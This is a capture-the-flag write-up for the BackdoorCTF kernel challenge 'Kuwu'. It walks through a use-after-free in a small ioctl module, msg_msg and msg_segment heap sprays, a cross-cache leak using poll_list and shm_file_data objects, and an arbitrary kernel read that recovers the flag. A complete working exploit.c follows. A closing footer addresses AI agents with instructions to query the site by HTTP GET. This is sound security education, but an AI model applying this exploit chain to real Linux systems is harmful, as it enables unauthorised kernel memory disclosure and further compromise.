# BackdoorCTF

{% hint style="info" %}
Team: <mark style="color:blue;">**ADA INDONESIA COY**</mark>

Rank: <mark style="color:yellow;">1st</mark> / <mark style="color:yellow;">477</mark>
{% endhint %}

<table><thead><tr><th width="206">Challenge</th><th width="309">Category</th><th width="124" align="center">Points</th><th align="center">Solves</th></tr></thead><tbody><tr><td>Kuwu</td><td>Binary Exploitation</td><td align="center">498 pts</td><td align="center">4<a href="https://www.google.com/url?sa=t&#x26;rct=j&#x26;q=&#x26;esrc=s&#x26;source=web&#x26;cd=&#x26;ved=2ahUKEwipnK3D-ZSHAxV69zgGHdccDGEQFnoECBkQAQ&#x26;url=https%3A%2F%2Femojipedia.org%2F1st-place-medal&#x26;usg=AOvVaw2gpojp7kMgKRfm7JKtQhyE&#x26;opi=89978449">🥇</a></td></tr></tbody></table>

## Kuwu[🥇](https://www.google.com/url?sa=t\&rct=j\&q=\&esrc=s\&source=web\&cd=\&ved=2ahUKEwipnK3D-ZSHAxV69zgGHdccDGEQFnoECBkQAQ\&url=https%3A%2F%2Femojipedia.org%2F1st-place-medal\&usg=AOvVaw2gpojp7kMgKRfm7JKtQhyE\&opi=89978449)

<figure><img src="/files/J2wz1CYaAmCrZdAg1alK" alt="" width="459"><figcaption></figcaption></figure>

### Description

> A simple little kernel challenge
>
> **Note: No brute-force is required for this challenge**
>
> `nc 34.42.147.172 4005`
>
> `Author: p0ch1ta`

### Analysis

we're given the following files:

```bash
└──╼ [★]$ tree .
.
├── bzImage
├── config
├── initramfs.cpio
└── run.sh

```

inside the filesystem, we can find the challenge kernel module, the module is really small and consist only of ioctl, roughly as follows

```c
int global_chunk = 0;
char flag[] = "flag{____}"

void module_ioctl(int fd,int cmd, char* args)

{
  long allocated_chunk;
  long lVar2;
  long tmp;
  
  mutex_lock(&g_mutex);
  tmp = global_chunk;
  if (cmd == 0x13370001) {
    if (
        (
            (global_chunk == 0) &&
            (allocated_chunk = kmalloc_trace_noprof(_DAT_001010a8,0x400cc0,0x1000), 
            tmp = global_chunk, 
            allocated_chunk != 0)
        ) && 
        (
            lVar2 = _copy_from_user(allocated_chunk,args,0x1000), 
            tmp = allocated_chunk, 
            lVar2 != 0
        )
        ) {
      kfree(allocated_chunk);
      tmp = global_chunk;
    }
  }
  else if (cmd == 0x13370002) {
    kfree(global_chunk);
    tmp = global_chunk;
  }
  global_chunk = tmp;
  mutex_unlock(&g_mutex);
  __x86_return_thunk();
  return;
}
```

in essence, we can allocate a chunk once of page size and then free that chunk as we wish throughout the exploit since the pointer is not nullified.

with this we have an UAF with somewhat arbitrary free of a single chunk

below is the qemu run script

```bash
#!/bin/bash
qemu-system-x86_64 \
    -m 128M \
    -kernel bzImage \
    -initrd initramfs.cpio \
    -append "console=ttyS0 loglevel=3 oops=panic panic=1 pti=off kaslr quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic \
    -no-reboot -s
```

### Exploitation

#### overview

first, lets initialize the UAF

```c
ioctl_alloc(buffer);
ioctl_free();
```

then we can we can spray `msg_msg`to recycle the chunk&#x20;

```c
#define KOBJ_SIZE 0x1000
#define MSG_SIZE (KOBJ_SIZE - 0x30)
#define EGG 0x4141414141414100

char buffer[0x2000];
for(int i = 0; i < SPRAY_WIDTH; i++) {
    msqid[i] = create_msg_queue();
    ((u64 *)buffer)[0] = EGG + i;
    send_msg(msqid[i], MSG_SIZE, buffer);   
}
_pause_("msg_msg sprayed [1]");
```

as shown below, our `global_chunk`now contains:

<figure><img src="/files/RLJ1mXnSHpDzGlhBL66o" alt=""><figcaption><p>msg_msg of msqid[0]</p></figcaption></figure>

now at this point, there's some things to note:

1. the flag is not stored in the filesystem, our goal is not to gain LPE
2. since the flag is stored in memory, we need an arbitrary read primitive

to gain arbitrary read primitive, we can utilize UAF on `msg_msg`to corrupt its content to be the following

```
{
  m_list = {
    next = 0x0 <fixed_percpu_data>,
    prev = 0x0 <fixed_percpu_data>
  },
  m_type = 0,
  m_ts = 8,
  next = <read_addr>,
  security = <heap_addr>
}
```

however with `msg_msg` we only have partial overwrite at offset +0x30 and as such we're not able to edit its headers.

to gain more partial overwrite, we can utilize `msg_segment` which able to control the data at offset +0x8.&#x20;

to do this, we need to free it once more, and spray it with msg of size bigger than a page

```c
ioctl_free();
for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) {
    msqid[i] = create_msg_queue();
    memset(buffer, i, sizeof(buffer));
    send_msg(msqid[i], MSG_SIZE+0x1000-0x18, buffer);   
}
_pause_("msg_msg sprayed [2]");
```

and as we can see below, the chunk now filled with the segment section.

<figure><img src="/files/Ockf1aSpouEqorRUGl2m" alt=""><figcaption></figcaption></figure>

with this, we're able to corrupt the `msg_msg`headers and craft our own `msg_msg` .

however this is not enough to immidiately read the flag, since kaslr is enabled we need some sort of leak, but without `copy_to_user()` how are we able to gain leaks?

#### Failed Leak Attempt

before moving on to the leak method that I use, I wanted to discuss some of the failed attempts to better understand the constraint that we have.

first, some diagram to understand what we currently have:

<figure><img src="/files/fft4XW83x0tvpkvRrFYZ" alt=""><figcaption></figcaption></figure>

my first thought is that since we have arbitrary free on the red chunk, we can free it and allocate another object on it that potentially has kernel addresses.&#x20;

if that's possible we can then peek at said `msg_msg` and we'll also read the `msg_segment` region thus leak the addresses.

however this comes with certain constraints:

1. the object has to be size of kmalloc-4k
2. the first 8 byte of the object has to be null, or valid address if the segment is more than 2 pages (essentially forming a valid linked list)

I tried `msg_msg` since it has heap addresses on it, however the first 8 byte is not null and the kernel panics when I tried to peek from it.

I also tried to construct the `msg_segment`  to be more than 2 pages such that \*next is linked suitable for `msg_msg` as its first 8 byte is an address, however this also results in kernel panic.

I then tried to look for other kernel objects that satisfy the constraints but found nothing.

next, I tried to free the segment before peeking to leak the freelist pointer, but hardened freelist is enabled (I didn't read the compile config lol)

#### Cross Cache Leak

the idea of this came from a blog that my teammate shares

<figure><img src="/files/f4KJmQlaq3RvWU2u8cwe" alt="" width="349"><figcaption></figcaption></figure>

{% embed url="<https://syst3mfailure.io/corjail/#hl-5-12>" %}

I suggest you to read the whole blog, but the gist of it that is relevant to the current exploit is the following:

<details>

<summary>Poll Syscall</summary>

[poll\_list](https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839) objects, are allocated in kernel space when we use the [poll()](https://linux.die.net/man/3/poll) syscall to monitor activity on one or more file descriptors.

```c
struct pollfd { // 8 bytes
    int   fd;
    short events;
    short revents;
};

struct poll_list { // 16 bytes
    struct poll_list *next; // [1]
    int len; // [2]
    struct pollfd entries[]; // [3]
};
```

The `poll_list` structure, is composed by a pointer to the next `poll_list` [\[1\]](https://syst3mfailure.io/corjail/#hl-2-8), a length field, corresponding to the number of `pollfd` structures in the `entries` array [\[2\]](https://syst3mfailure.io/corjail/#hl-2-9), and `entries`, a flexible array of `pollfd` structures [\[3\]](https://syst3mfailure.io/corjail/#hl-2-10). Each entry is 8 bytes in size.<br>

`do_sys_poll()` has two paths, a slow and a fast path. As we can see at the beginning of the function, `stack_pps` [\[1\]](https://syst3mfailure.io/corjail/#hl-3-20), a buffer of 256 bytes, is defined. It is used to store the first 30 `pollfd` entries [\[2\]](https://syst3mfailure.io/corjail/#hl-3-28). This is the fast path: entries are stored on the stack to save memory and improve speed.

If we submit more than 30 `pollfd` entries, we enter the slow path and the remaining ones are allocated on kernel heap. This means that if we do the math correctly, controlling the number of monitored file descriptors, we can control the allocation size, ranging from kmalloc-32 to kmalloc-4k. [\[4\]](https://syst3mfailure.io/corjail/#hl-3-45)

It is possible to allocate a maximum of [POLLFD\_PER\_PAGE](https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L845) (510) entries per page. [\[3\]](https://syst3mfailure.io/corjail/#hl-3-44) If this limit is exceeded, a new `poll_list` is allocated to store the remaining entries and it is connected to the previous one in a singly linked list. The for loop continues until all entries have been stored in kernel memory.

</details>

so with the poll syscall, we're able to allocate user controlled sized kernel chunk. with 30 of its entries stored in the stack and the remaining in the said kernel allocated chunk with structure similar to that of `msg_segment` with the first 8 byte is a pointer forming a singly linked list.&#x20;

to allocate to its maximum size of 1 page, 510 entries is needed, any remaining entries will be allocated more and forming a singly linked list. for example to allocated a kmalloc-4k and kmalloc-0x20 chunk we can poll with 542 (30 + 510 + 2) entries.

another thing is that, the allocated chunk will be freed once it timeouts.

with this in mind, my idea is to construct a fake `msg_segment` with `poll_list` that links to a 0x20 cache, `poll_list` will then be freed upon timeout, we can then spray objects of size 0x20 that contains addresses to leak, since the pointer to said 0x20 chunk is still intact in the fake `msg_segment` we can peek at it, thus reading an active 0x20 chunk.

lets see this in action, first construct a two allocated `msg_segment` as follow:

<figure><img src="/files/1yuav2se1p1bdvde1ai8" alt=""><figcaption></figcaption></figure>

free the first segment, and then spray `poll_list` to reused the chunk, we expected to have as below:

<figure><img src="/files/SzUKtvaV6zzWCeSZu1MC" alt=""><figcaption></figcaption></figure>

then we spray objects size 0x20, we have options such as `seq_operations` and `shm_file_data`, but `seq_operations` wont work because of the constraint I mentioned earlier, the first 8 byte must be null.

`shm_file_data` is also convenient as it has both kernel address and heap address, compared to `seq_operations` that only has kernel address.&#x20;

{% embed url="<https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#shm_file_data>" %}
A collection of structures that can be used in kernel exploits
{% endembed %}

which I also referenced from this writeup

{% embed url="<https://blog.smallkirby.com/posts/fire-of-salvation/#tldr>" %}
similar challenge involving kmalloc-4k with leaks from shm\_file\_data
{% endembed %}

so we spray `shm_file_data` and now our chunks will results in the following:

<figure><img src="/files/o7nTuuWLq8e5Q3fi9G4n" alt=""><figcaption></figcaption></figure>

this can also be verified in gdb:

<figure><img src="/files/kE7lYwtN9VbGseh83tMC" alt=""><figcaption></figcaption></figure>

and thus as we peek from it, leaks are viable.

#### Final steps

with the address leaked, we can now perform arbitrary read using corrupted `msg_msg`discussed in [#overview](#overview "mention"), but its turns out that the flag is stored in the modules addresses which is not continous to kernel .text

<figure><img src="/files/ocsasoPAwDKmB45oGDjD" alt=""><figcaption></figcaption></figure>

so before reading the flag, we need to leak the kernel module's base address, I just thought the mapping must be stored somewhere in kernel .text and it surely is

<figure><img src="/files/w9NYqPBPYjRJHbGcawdg" alt="" width="319"><figcaption></figcaption></figure>

one last thing, as we perform arbitrary read, the `msg_msg` will cast the address we're reading to `msg_segment` this means, we also need to satisfy the first 8 byte to be null constraint to avoid kernel panic (considering the msg segment size is only 1 page).&#x20;

so with arbitrary read, we will be reading slightly behind the target address that contains a null

<figure><img src="/files/g58uKtv1yKTbjWDvnBYP" alt=""><figcaption></figcaption></figure>

here's the exploit being ran againts the remote server

<figure><img src="/files/gIdXrqiVssInzG49xY5l" alt="" width="444"><figcaption></figcaption></figure>

here's the full exploit script:

{% code title="exploit.c" %}

```c
#include "libpwn.c"

#define DEVICE "/dev/oneshot"
#define KALLOC 0x13370001
#define KFREE 0x13370002

#define SPRAY_WIDTH 30
#define KOBJ_SIZE 0x1000
#define MSG_SIZE (KOBJ_SIZE - 0x30)
#define MSG_TWO_SEGMENT_SIZE (MSG_SIZE+0x1000-0x8+0x20)
#define MSG_ONE_SEGMENT_SIZE (MSG_SIZE+0x1000-0x18)
#define POLL_NFDS 542
#define FLAG_ADDR (kmodule_base + (0x21c0))
#define EGG 0x4141414141414100

int fd;
u64 kmodule_base;
struct pollfd *pfds;
char buffer[0x2000];
int msqid[SPRAY_WIDTH*6];

void ioctl_alloc(char* data) {
    if (ioctl(fd, KALLOC, data) < 0) {
        error("ioctl_alloc");
    }
}

void ioctl_free() {
    if (ioctl(fd, KFREE, 0) < 0) {
        error("ioctl_free");
    }
}

void* alloc_poll() {
    int ret = poll(pfds, POLL_NFDS, 3000);
}

int main() {
    fd = open(DEVICE, O_RDWR);
    if (fd < 0) {
        panic("open");
    }

    // ===========================
    // UAF -> ARB FREE
    // ===========================
    ioctl_alloc(buffer);
    ioctl_free();

    for(int i = 0; i < SPRAY_WIDTH; i++) {
        msqid[i] = create_msg_queue();
        ((u64 *)buffer)[0] = EGG + i;
        send_msg(msqid[i], MSG_SIZE, buffer);   
    }
    _pause_("msg_msg sprayed [1]");

    ioctl_free();
    for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) {
        msqid[i] = create_msg_queue();
        memset(buffer, i, sizeof(buffer));
        send_msg(msqid[i], MSG_TWO_SEGMENT_SIZE, buffer);   
    }
    _pause_("msg_msg sprayed [2]");

    // ===========================
    // SPRAY poll_list
    // ===========================
    ioctl_free();
    pfds = calloc(POLL_NFDS, sizeof(struct pollfd));
    for(int i = 0; i < POLL_NFDS; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }
    pthread_t t[SPRAY_WIDTH];
    for(int i = 0; i < SPRAY_WIDTH; i++) {
        pthread_create(&t[i], NULL, alloc_poll, NULL);
    }
    sleep(5); // wait for poll_list to be freed
    _pause_("pollfd sprayed");

    // ===========================
    // SPRAY shm_file_data
    // ===========================
    int shmid = shmget(IPC_PRIVATE, 0x1000, 0600);
    info2("shmid: %d", shmid);
    for(int i = 0; i < 200; i++) {
        assert(shmid >= 0);
        void *addr = shmat(0, NULL, 0); // only shmid 0 because the first 8 bytes needs to be NULL
        assert((long)addr >= 0);
    }
    _pause_("shmid sprayed");

    // ===========================
    // GAIN LEAK
    // ===========================
    char* leak = (char *) peek_msg(msqid[30], MSG_TWO_SEGMENT_SIZE);
    // dump_hex(leak, MSG_SEGMENT_SIZE);

    u64 heap = ((u64 *)leak)[1019]; 
    kbase = ((u64 *)leak)[1020] - 0x121a6c0;
    info2("heap", heap);
    info2("kbase", kbase); 

    // ===========================
    // LEAK KERNEL MODULE BASE
    // ===========================
    for(int i = SPRAY_WIDTH*2; i < SPRAY_WIDTH*3; i++) {
        msqid[i] = create_msg_queue();
        ((u64 *)buffer)[0] = EGG + i;
        send_msg(msqid[i], MSG_SIZE, buffer);    
    }
    _pause_("msg_msg sprayed [3]");

    ioctl_free();
    memset(buffer, 0, sizeof(buffer));
    u64 *payload = (u64 *)&buffer[MSG_SIZE];

    for(int i = SPRAY_WIDTH*3; i < SPRAY_WIDTH*4; i++) {
        msqid[i] = create_msg_queue();
        payload[1] = 0x1;
        payload[2] = 0xfd0+0x60; 
        payload[3] = kbase+0x180d0a0-0x8; // just a little behind to satisfy constraint *next is NULL
        payload[4] = heap;
        payload[5] = EGG + 0xff;
        send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer);   
    }
    _pause_("msg_msg sprayed [4]");

    leak = (char *) peek_msg(msqid[0], 0xfd0+0x60);
    // dump_hex(leak, 0xfd0+0x60);
    kmodule_base = ((u64 *)leak)[507]; 

    // ===========================
    // ARB READ FLAG
    // ===========================
    ioctl_free();
    for(int i = SPRAY_WIDTH*4; i < SPRAY_WIDTH*5; i++) {
        msqid[i] = create_msg_queue();
        ((u64 *)buffer)[0] = EGG + i;
        send_msg(msqid[i], MSG_SIZE, buffer);    
    }
    _pause_("msg_msg sprayed [5]");

    ioctl_free();
    memset(buffer, 0, sizeof(buffer));
    payload = (u64 *)&buffer[MSG_SIZE];

    for(int i = SPRAY_WIDTH*5; i < SPRAY_WIDTH*6; i++) {
        msqid[i] = create_msg_queue();
        payload[1] = 0x1;
        payload[2] = 0xfd0+0x60;
        payload[3] = FLAG_ADDR-0x20; // just a little behind to satisfy constraint *next is NULL
        payload[4] = heap;
        payload[5] = EGG + 0xff;
        send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer);   
    }
    _pause_("msg_msg sprayed [6]");

    leak = (char *) peek_msg(msqid[0], 0xfd0+0x60);
    // dump_hex(leak, 0xfd0+0x60);

    printf("[*] flag: %s\n", &leak[0xff0]);

    _pause_("end of exploit...");
}
```

{% endcode %}

{% embed url="<https://github.com/HyggeHalcyon/CTFs/blob/main/Scripts/pwn/kernelspace/libpwn.c>" %}
libpwn
{% endembed %}

{% hint style="success" %}
Flag: ***flag{4\_m5g\_4\_d4y\_w1ll\_g1v3\_y0u\_th3\_l34k5\_r1ght\_4w4y}***
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hyggehalcyon.gitbook.io/page/ctfs/2024/backdoorctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
